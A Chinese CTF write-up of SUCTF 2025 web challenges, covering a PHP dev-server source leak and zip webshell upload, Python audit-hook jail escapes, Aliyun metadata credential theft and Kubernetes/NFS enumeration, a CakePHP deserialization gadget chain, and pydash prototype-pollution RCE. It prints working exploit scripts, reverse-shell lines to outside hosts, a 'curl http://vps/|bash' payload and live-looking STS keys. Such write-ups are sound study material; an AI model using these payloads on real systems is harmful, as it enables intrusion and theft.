SUCTF2025-WEB-Learning

前言

终于考完了,回重庆和高中同学玩了几天。。。

回家后打了两天游戏,发现一直打也不好玩,就复现复现前几天随便看看的XCTF,很多题感觉还是挺有意思的,就当一种复健了。

SU_photogallery

扫描可以扫到robots.txt和node.md,也就是环境里的字:

1
2
3
4
5
6
7
书鱼哥哥交给我个任务,让我写一个su的图库来存放战队的美好回忆,我需要测试我开发的代码,于是我在服务器上测试,但是我测试的时候并不想大费周章改变我原本配置的环境。

1:可以提交一张图片(Working)

2:通过提交压缩包来批量提交图片

3...

随便输url,发现404是php -S临时开启的服务。

这里打的是PHP<=7.4.21 Development Server源码泄露漏洞

PHP<=7.4.21 Development Server源码泄露漏洞-腾讯云开发者社区-腾讯云

前端可以看到unzip.php的文件名,那我们可以通过

image-20250115200227659

泄露出unzip.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;

if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}

}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}

}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
// if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
// return false;
// }
echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.php?status=success");
exit();
} else {
header("Location: index.php?status=$result");
exit();
}
} else {
header("Location: index.php?status=file_error");
exit();
}

这里可以得到文件上传的路径是:upload/suimages/

这里的非预期就是你访问可以找到其他人写的马,然后用开头那个一样的方法就可以访问🐎的参数是啥,蹭车就完事了。。。

真正绕这个blacklist的手段,后续队里也有人做出来了,但是蹭车提前交了就交了吧hh

官方给的wp说是在上传的时候就解压压缩包了,可以直接利用解压报错:

回忆phpcms头像上传漏洞以及后续影响 | 离别歌

image-20250115201621408

image-20250115201629300

以及:twe1v3.top/2022/10/CTF中zip文件的使用/#利用姿势onezip报错解压

那么可以通过拼接绕过黑名单:

1
2
3
4
5
6
7
8
9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('fff.php', b'''@<?php $a = "sy"."s"."tem"; $a("ls / ");?>''')
zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
f.write(mf.getvalue())
1
SUCTF{sti1l_w0t3r_Run_d@@p!!!}

SU_easyk8s_on_aliyun

开局一个pyjail,RCE很简单。当时我给R了入口机有事就先润了。。。

网上一搜就能搜到能用的,直接绕audit hook:

CTF Pyjail 沙箱逃逸绕过合集 - 先知社区

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/ls","/"], [b"/bin/ls"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

可以直接读文件了:

audit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys

DEBUG = False

def audit_hook(event, args):
audit_functions = {
"os.system": {"ban": True},
"subprocess.Popen": {"ban": True},
"subprocess.run": {"ban": True},
"subprocess.call": {"ban": True},
"subprocess.check_call": {"ban": True},
"subprocess.check_output": {"ban": True},
"_posixsubprocess.fork_exec": {"ban": True},
"os.spawn": {"ban": True},
"os.spawnlp": {"ban": True},
"os.spawnv": {"ban": True},
"os.spawnve": {"ban": True},
"os.exec": {"ban": True},
"os.execve": {"ban": True},
"os.execvp": {"ban": True},
"os.execvpe": {"ban": True},
"os.fork": {"ban": True},
"shutil.run": {"ban": True},
"ctypes.dlsym": {"ban": True},
"ctypes.dlopen": {"ban": True}
}
if event in audit_functions:
if DEBUG:
print(f"[DEBUG] found event {event}")
policy = audit_functions[event]
if policy["ban"]:
strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
print(strr)
raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
else:
strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
print(strr)
return

sys.addaudithook(audit_hook)

这里可以用wget下载bash文件然后弹shell。

也可以直接弹,但是要用base64不然弹不了:

1
2
3
4
5
6
7
import socket, os, _posixsubprocess; 

s = socket.socket();
s.connect(("xxxx",9999));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];

_posixsubprocess.fork_exec([b"/bin/bash", "-c", b"echo b64-payload | base64 -d | bash -i"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)

或者:

1
2
3
4
5
6
7
8
9
10
__import__('_posixsubprocess').fork_exec(
[b"/bin/bash", b"-c", b"bash -i >& /dev/tcp/43.156.25.198/1232 0>&1"],
[b"/bin/bash"],
True, (), None, None,
-1, -1, -1, -1, -1, -1,
*(__import__('os').pipe()),
False, False, False,
None, None, None,
-1, None, False
)

题目名提示了也在aliyun上,可以去找aliyun的元数据在哪里。

接下来是云安全的内容了。

云上攻防:实例元数据、控制台接管-阿里云开发者社区

云安全-云原生基于容器漏洞的逃逸自动化手法(CDK check)_cve-2020-27151-CSDN博客

下载cdk_linux_amd64后进行信息检索

1
2
wget <https://github.com/cdk-team/CDK/releases/download/v1.5.4/cdk_linux_amd64>
./cdk_linux_amd64 evaluate

可以从得到的信息里面看见

image-20250115203407193

接下来需要获取类似下面的信息:

通过元数据服务从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心

image-20250115203432279

直接在这个机器上获取sts,即AK/SK相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root                                                                                    
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 893 100 893 0 0 28858 0 --:--:-- --:--:-- --:--:-- 29766
{
"AccessKeyId" : "STS.NSy4dsFrQgg9T1Sn86HEpSfGm",
"AccessKeySecret" : "9ogWdxi5Qff2Fna38xknBakmgdjQfdo5JgNWuSTMQKUt",
"Expiration" : "2025-01-13T15:30:13Z",
"SecurityToken" : "CAIS1AJ1q6Ft5B2yfSjIr5DMf97Hq61w0KXSVhfiijhjRMpcvKPsjzz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEZ2VAI4zb+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGwgIOoQY+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rK4KNHstGUvdUGoABAn1BUz7d7A/upOPE4w5ha3QAIyrqx7EgAlz/SWDlebYSWq5znabX0kKWtpuV6+oyJj01bbVoAV35NSu3P9Snk1Gu7e7fUmuWow+PKQed8YjGF9EQWdanrh6ynUSbzpbltvdPGhG7+HRVOsT7OjQz6gJplt44R5e4cXOlXNhayTAgAA==",
"LastUpdated" : "2025-01-13T09:30:13Z",
"Code" : "Success"
}

可以直接连oss browser,但是桶里没东西,估计删了。

然后导入aliyuncli恢复历史版本,就找到flag了:

1
2
3
4
./aliyun.exe configure --mode StsToken //输入对应的ak/sk,region是cn-hangzhou
./aliyun.exe oss ls //列出已有资源
./aliyun.exe oss ls oss://suctf-flag-bucket/oss-flag --all-versions //列出所有版本
./aliyun.exe oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- //读取文件

img

img

SU_easyk8s

入口机打法同上,但是后面题目下线了,看看官方给的wp吧:

Python Audit Hook RCE

1
2
3
4
5
6
7
8
9
10
DEBUG=True  # open debug
import os,sys
op = print
def print(*args):
t = sys._getframe(1).f_locals['audit_functions']
t["os.system"]['ban']= False
op(t)
return op(*args)

os.system("ls") ## RCE

当然这里也可以 _posixprocess.fork_exec 进行绕过

Kubernetes 信息泄漏

https://gh-proxy.com/github.com/Esonhugh/k8spider/releases/download/v2.6.0-metric/k8spider_v2.6.0-metric_linux_amd64.tar.gz

下载新版本 k8spider 对付他,先枚举服务,直接枚举就失败, -vv 看报错可以知道,只有前几个 dns 请求正常处理了,后几个请求 全部 io timeout

然而 dns 服务始终是正常的,所以可以猜测是 dns 服务被某些东西限制了。尝试缩小集群 server cidr 并且循环跑。

1
2
3
4
5
6
7
8
for i in $(seq 1 254); do ./k8spider all -c 10.43.$i.1/24 -i 20000 >> res ;done

cat res
{"Ip":"10.43.8.117","SvcDomain":"suctf-svc.default.svc.cluster.local.","SrvRecords":[{"Cname":"suctf-svc.default.svc.cluster.local.","Srv":[{"Target":"suctf-svc.default.svc.cluster.local.","Port":5000,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.109.180","SvcDomain":"metrics-server.kube-system.svc.cluster.local.","SrvRecords":[{"Cname":"metrics-server.kube-system.svc.cluster.local.","Srv":[{"Target":"metrics-server.kube-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.116.179","SvcDomain":"kube-state-metrics.lens-metrics.svc.cluster.local.","SrvRecords":[{"Cname":"kube-state-metrics.lens-metrics.svc.cluster.local.","Srv":[{"Target":"kube-state-metrics.lens-metrics.svc.cluster.local.","Port":8080,"Priority":0,"Weight":100}]}]}
{"Ip":"10.43.140.10","SvcDomain":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","SrvRecords":[{"Cname":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Srv":[{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":80,"Priority":0,"Weight":50},{"Target":"nginx-ingress-controller.ingress-nginx.svc.cluster.local.","Port":443,"Priority":0,"Weight":50}]}]}
{"Ip":"10.43.225.93","SvcDomain":"istiod.istio-system.svc.cluster.local.","SrvRecords":[{"Cname":"istiod.istio-system.svc.cluster.local.","Srv":[{"Target":"istiod.istio-system.svc.cluster.local.","Port":15012,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15010,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":15014,"Priority":0,"Weight":25},{"Target":"istiod.istio-system.svc.cluster.local.","Port":443,"Priority":0,"Weight":25}]}]}

有 server 也有服务 port

关注 kube-state-metrics.lens-metrics.svc.cluster.local

这是个 metrics 服务,容器中有 curl,下载对应的 metrics 文本为文件

kube-state-metrics.lens-metrics.svc.cluster.local:8080/metrics

现在的 k8spider 可以帮助你分析这类 metrics 中的敏感信息,使得你可以极大可能把握集群整体状态。

集群 NFS PV

在 metrics 信息中存在,敏感信息 nfs pv 配置。

发现这个 nfs 后利用的套路 k8slanparty 一模一样

1
kube_persistentvolume_info{persistentvolume="nfs-pv",storageclass="nfs-client",gce_persistent_disk_name="",ebs_volume_id="",azure_disk_name="",fc_wwids="",fc_lun="",fc_target_wwns="",iscsi_target_portal="",iscsi_iqn="",iscsi_lun="",iscsi_initiator_name="",nfs_server="0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com",nfs_path="/nfs-root/",csi_driver="",csi_volume_handle="",local_path="",local_fs="",host_path="",host_path_type=""} 1

nfs 服务器为 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com,nfs 路径为 /nfs-root/

通过 socks5 代理后,尝试使用 nfs-cat 和 nfs-ls 进行访问

即可得到 flag 在 nfs / 目录中

1
2
nfs-ls nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/?uid=0
nfs-cat nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/flag.txt?uid=0

或者上传一个 nfs client

例如 https://github.com/mubix/nfsclient/tree/main

但是他有点小 bug 没办法下载文件 需要修改为 https://github.com/mubix/nfsclient/blob/dadb0bf6caa10f02a617abf65c972e36389810cd/nfsclient.go#L121

1
f, err := os.OpenFile(filename, os.O_CREATE|os.O_WRONLY, 0777)

这样就不会有问题了

1
2
3
4
5
6
7
8
9
10
11
12
nfsc 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com:/ root:0:0 ls
+----------+-----+-----+----------+------+
| FILENAME | UID | GID | MODE | SIZE |
+----------+-----+-----+----------+------+
| . | 0 | 0 | 0x543c60 | 4096 |
| .. | 0 | 0 | 0x543c60 | 4096 |
| flag.txt | 0 | 0 | 0x543c60 | 74 |
| nfs-root | 0 | 0 | 0x543c60 | 4096 |
+----------+-----+-----+----------+------+

nfsc 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com:/ root:0:0 down flag.txt
cat flag.txt

SU_POP

简单找pop链的审计题。

GitHub - cakephp/cakephp: CakePHP: The Rapid Development Framework for PHP - Official Repository

1
2
3
4
5
React\Promise\Internal\RejectedPromise::__destruct()
-->Cake\Http\Response::__toString()
-->Cake\ORM\Table::__call()
-->Cake\ORM\BehaviorRegistry::call()
-->PHPUnit\Framework\MockObject\Generator\MockClass::generate()

赵哥打的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
namespace React\Promise\Internal {
class RejectedPromise
{
private $handled = false;
private $reason;
function __construct()
{
$this->handled=false;
$this->reason = new \Cake\Http\Response();
}
}
}

namespace Cake\Http{
class Response
{
private $stream ;

public function __construct()
{
$this->stream = new \Cake\ORM\Table();
}
}

}

namespace PHPUnit\Framework\MockObject\Generator{
class MockClass{
private readonly string $mockName;
private readonly string $classCode;
public function __construct()
{
$this->mockName = "zbr";
$this->classCode = "system(\"curl http://vps/|bash\");";
}

}
}

namespace Cake\ORM{
class BehaviorRegistry{
protected array $_methodMap ;
protected array $_loaded;

public function __construct()
{
$this->_loaded=["zbr"=>new \PHPUnit\Framework\MockObject\Generator\MockClass()];
$this->_methodMap = ["rewind" => ["zbr","generate"]];
}
}
Class Table
{
protected BehaviorRegistry $_behaviors;

public function __construct()
{
$this->_behaviors= new BehaviorRegistry();
}

}

}


namespace GadgetChain {
$a=new \React\Promise\Internal\RejectedPromise();

$str = serialize($a);
echo $str;
echo "\n";
echo urlencode(base64_encode($str));
}

call参考这篇文章$this->_behaviors会调用转发到BehaviorRegistry::call(),控制_methodMaprewind映射到 MockClass .最后利用generate写:

https://xz.aliyun.com/t/9995?time__1311=n4%2BxnD0DuDRDcGiGCDyDBqOoWP0K5PDt1QYQhOe4D#toc-7

弹shell后有个suid提权,find交了。

SU_Blog

可参考idekctf 2022* task manager wp - kdxcxs

register接口可以任意密码重置,直接重置admin的密码登陆越权登录。

然后在article接口看到一个疑似任意文件读取的东西,且必须要用articles开头,并且直接传../没用。

结果双写绕过了。。。

可以读到waf.py和app.py,需要注意的是waf把waf.py给waf了,所以也要双写一下利用这个../来读。

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}

friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
def __init__(self):
pass

user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))

if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']

if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))

return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

name = request.form.get('name')
url = request.form.get('url')

if name and url:
friend_links.append({"name": name, "url": url})

return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

if 0 <= index < len(friend_links):
del friend_links[index]

return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))

file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")

blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")

if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")

if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")

file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"

return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json

if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400

key = body.get('key')
value = body.get('value')

if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400

if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400

set_(user_data, key, value)

flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200

except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500

return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))



if __name__ == '__main__':
app.run(host='0.0.0.0',port=10006)

waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]

def check_blacklist(data, blacklist):
for item in blacklist:
if item in data:
return False
return True

def pwaf(key):
# 将 key 转换为字节串
key_bytes = key.encode()
if not check_blacklist(key_bytes, key_blacklist_bytes):
print(f"Key contains blacklisted words.")
return False
return True

def cwaf(value):
if len(value) > 77:
print("Value exceeds 77 characters.")
return False

# 将 value 转换为字节串
value_bytes = value.encode()
if not check_blacklist(value_bytes, value_blacklist_bytes):
print(f"Value contains blacklisted words.")
return False
return True

读源码后发现/Admin下可以打原型链污染,这里可以直接污染jinja2模版编译时用的一个参数来R。

本来开始想试试污染key_blacklist然后为所欲为的:

1
2
{"key":"__class__.__init__.__globals__.pwaf.__globals__.key_blacklist_bytes",
"value":"" }

但其实不用,直接R就完了:

1
{"key":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('/readflag >/tmp/sbflag.txt')"}

然后访问一下

1
http://27.25.151.48:10004/article?file=articles/..././..././..././..././..././..././tmp/sbflag.txt

然后渲染的时候就会把*;import os;os.system('/readflag >/tmp/sbflag.txt')拼上去,然后再任意文件读就完事了。

(因为模版只在第一次访问时编译,所以需要卡容器重启时的第一次访问,这个有点坑需要手气)

也可以借鉴一下Syclover战队写的brute多线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import multiprocessing
js = {
"key": "__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
"value": "*;import os;os.system('/read\\x66lag > /tmp/f')"}

def brute(url):
while True:
try:
res = requests.post(url + "/Admin?pass=SUers", json=js)
print(url + ":" + res.text)
requests.get(url + "/Admin?pass=SUers")
requests.get(url + "/")
requests.get(url + "/login")
requests.get(url + "/register")
except Exception as e:
print(e)

if __name__ == '__main__':
urls=["http://27.25.151.48:10000",
"http://27.25.151.48:10001",
"http://27.25.151.48:10002",
"http://27.25.151.48:10003",
"http://27.25.151.48:10004",
"http://27.25.151.48:10005"]
for url in urls:
p = multiprocessing.Process(target=brute, args=(url,))
p.start()
1
SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3}

SU_ezjava

开始做java了。

image-20250115214329070

1
2
3
网上泄露了一个危险的接口,但是不太聪明的程序员设计了防护去保护它,你能绕过吗。顺带一提,给出的源码存在混淆
A dangerous interface has been leaked online, but not very smart programmers have designed protection to protect it. Can you bypass it.By the way, there is confusion in the provided source code
环境: (mysql-connector-8.0.28) 1.95.157.235:10011 本题不需要扫描、爆破等操作

要用jadx才能正确打开那个class文件,因为有混淆。

SecurityChecker.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
package com.pho3n1x.sujava.security;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import org.apache.commons.lang3.StringUtils;

/* loaded from: SecurityChecker.class */
public class SecurityChecker {

/* renamed from: checklist = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#";
public static void checkJdbcConnParams(String host, Integer port, String username, String password, String database, Map<String, Object> extraParams) throws Exception {
if (!host.trim().matches("^[a-zA-Z0-9.-]+$") || !database.matches("^[a-zA-Z0-9_]+$") || parseParamsMapToMysqlParamUrl(extraParams).matches(".*(allowLoadLocalInfile|autoDeserialize|allowLocalInfile|allowUrlInLocalInfile|#|%).*")) {
throw new Exception("Invalid mysql connection params.");
}
} reason: not valid java name and contains not printable characters */
public static final String f0x2356168a = null;
private static final String AND_SYMBOL = "&";
private static final String EQUAL_SIGN = "=";
private static final String COMMA = ",";
private static final String BLACKLIST_REGEX = "autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath";
